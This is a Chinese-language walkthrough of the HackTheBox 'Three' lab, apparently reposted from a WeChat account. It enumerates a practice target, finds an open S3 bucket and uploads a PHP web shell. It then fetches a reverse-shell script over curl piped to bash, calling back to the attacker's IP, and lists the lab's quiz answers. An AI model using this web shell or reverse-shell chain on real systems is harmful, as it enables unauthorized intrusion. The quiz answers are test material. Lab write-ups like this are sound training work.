初始点1级第五关Three
获取目标IP。
nmap扫描开放端口。
nmap -sV {target_IP}
端口80(http)、22(ssh)开放。
浏览器访问目标IP。网页下滑发现联系方式栏,其中电子邮箱带有域名,thetoppers.htb
我们需要在/etc/hosts文件中添加该域名,使其可以访问。
/etc/hosts文件用于将主机名解析为IP地址。默认情况下,/etc/hosts是在DNS服务器之前查询解析。
vim /etc/hosts
已知域名thetoppers.htb,我们可以使用gobuster爆破其他域名。
执行以下命令。
gobuster vhost -w /usr/share/wordlists/subdomains-top1million-5000.txt -u http://thetoppers.htb
vhost 虚拟主机爆破模式
-w 指定字典
-u 指定url
字典可从以下地址下载。
https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt
爆破出一个s3.thetoppers.htb的子域名,这个也需要我们添加到/etc/hosts文件中,让浏览器可以正常访问。
浏览器访问该地址。
http://s3.thetoppers.htb
显示以下JSON:
{"status": "running"}
s3存储桶
搜索结果返回包含关键字“s3 subdomain status running”,表示这是一个基于云的对象存储服务。它允许我们将东西储存在称为桶的容器中。AWS S3存储桶有各种用例,包括备份和存储、媒体托管、软件交付、静态网站等。存储在AmazonS3存储桶中的文件称为S3对象。
我们可以用awscli与s3存储桶交互,执行以下命令安装。
apt install awscli
执行以下命令进行配置。
aws configure
字段值随便,虽然有时候服务器被配置成不检查身份验证,但需要配置上内容才能运行。
执行以下命令,ls列出服务器所有的s3存储桶。
aws --endpoint=http://s3.thetoppers.htb s3 ls
执行以下命令,ls列出指定桶的对象。
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
发现有一个目录images和两个文件htaccess、index.php,我们尝试将一个phpshell上传到这个s3存储桶,浏览器访问,实现代码执行。
代码如下:
<?php system($_GET["cmd"]); ?>
它使用带URL参数的system()函数cmd作为输入并将其作为系统命令执行。
创建php文件。
echo '<?php system($_GET["cmd"]); ?>' > shell.php
将shell.php上传到thetoppers.htb s3存储桶。
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
上传成功,我们尝试用url参数cmd执行操作系统命令id。
http://thetoppers.htb/shell.php?cmd=id
服务器响应,包含id输出,说明shell.php被运行。
现在让我们尝试获得一个反向 shell。通过反向 shell,我们将触发远程主机连接回本地计算机的 IP 地址指定的监听端口。
ifconfig获取tun0IP。
新建一个文件shell.sh来获得一个反向shell,内容如下:
#!/bin/bash
bash -i >& /dev/tcp/<YOUR_IP_ADDRESS>/1337 0>&1
监听1337端口。
nc -nvlp 1337
启一个web服务,要在shell.sh同目录下运行。
python3 -m http.server 8000
通过curl执行bash脚本反弹shell,浏览器访问以下地址:
http://thetoppers.htb/shell.php?cmd=curl <tun0IP>:8000/shell.sh|bash
一直加载中,查看监听1337端口,成功反弹shell。
在/var/www目录发现flag.txt,cat查看。
Three任务
任务1
问:打开了多少个 TCP 端口?
答:2
任务2
问:网站“联系方式”部分中提供的电子邮件地址的域名是什么?
答:thetoppers.htb
任务3
问:在没有 DNS 服务器的情况下,我们可以使用哪个 Linux 文件将主机名解析为 IP 地址,以便能够访问指向这些主机名的网站?
答:/etc/hosts
任务4
问:进一步枚举时发现了哪个子域?
答:s3.thetoppers.htb
任务5
问:哪个服务正在发现的子域上运行?
答:Amazon s3
任务6
问:哪个命令行实用程序可用于与在发现的子域上运行的服务进行交互?
答:awscli
任务7
问:使用哪个命令来设置 AWS CLI 安装?
答:aws configure
任务8
问:上述实用程序使用什么命令来列出所有 S3 存储桶?
答:aws s3 ls
任务9
问:该服务器配置为运行用哪种 Web 脚本语言编写的文件?
答:php
任务10
提交flag。
总结
当事情不景气时,继续前景、坚持不懈是至关重要的。
原文始发于微信公众号(AlertSec):HackTheBox-Three
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论